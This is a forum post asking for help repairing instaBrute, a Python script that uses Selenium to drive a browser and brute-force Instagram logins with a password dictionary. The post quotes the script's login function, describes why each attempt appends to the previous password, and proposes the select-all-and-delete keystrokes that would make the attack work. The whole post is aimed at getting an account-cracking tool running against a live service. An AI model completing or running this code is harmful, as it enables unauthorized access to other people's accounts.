Guys, the Dev made an update (
https://github.com/chinoogawa/instaBrute [nofollow] ), but unfortunately, it's still not working. He imported Selenium to his Python Script and I saw how he tried to get it working.
Now, I think I've found what the error is, but not sure how to fix it...
On the instaBrute.py script (Line 24-31):
def login(user, password):
try:
print 'Trying with password: ' + password
elem = driver.find_element_by_name("username")
elem.send_keys(user)
elem = driver.find_element_by_name("password")
elem.send_keys(password)
elem.send_keys(Keys.RETURN)
I noticed that it opens the Web Browser, and types the next password without deleting the previous one.
So if dictionary.txt included the following lines:
Password
test123
mypass123
...
Then it would try the attempts:
Attempt 1) Trying with password: Password
Attempt 2) Trying with password: Passwordtest123
Attempt 3) Trying with password: Passwordtest123mypass123
Instead of:
Attempt 1) Trying with password: Password
Attempt 2) Trying with password: test123
Attempt 3) Trying with password: mypass123
So I think it should include these attributes:
ActionChains(driver).key_down(Keys.CONTROL).send_keys('a').key_up(Keys.CONTROL).perform()
(That would select all the text(password) - CTRL + a)
elem.send_keys(Keys.DELETE) or elem.send_keys(Keys.BACKSPACE) or elem.send_keys(Keys.BACK_SPACE)
(That would delete the selected password - Delete/Backspace button)
But I'm not sure how to add this to the code, so hopefully some of you guys may be familiar with Selenium and be able to fix it for me!
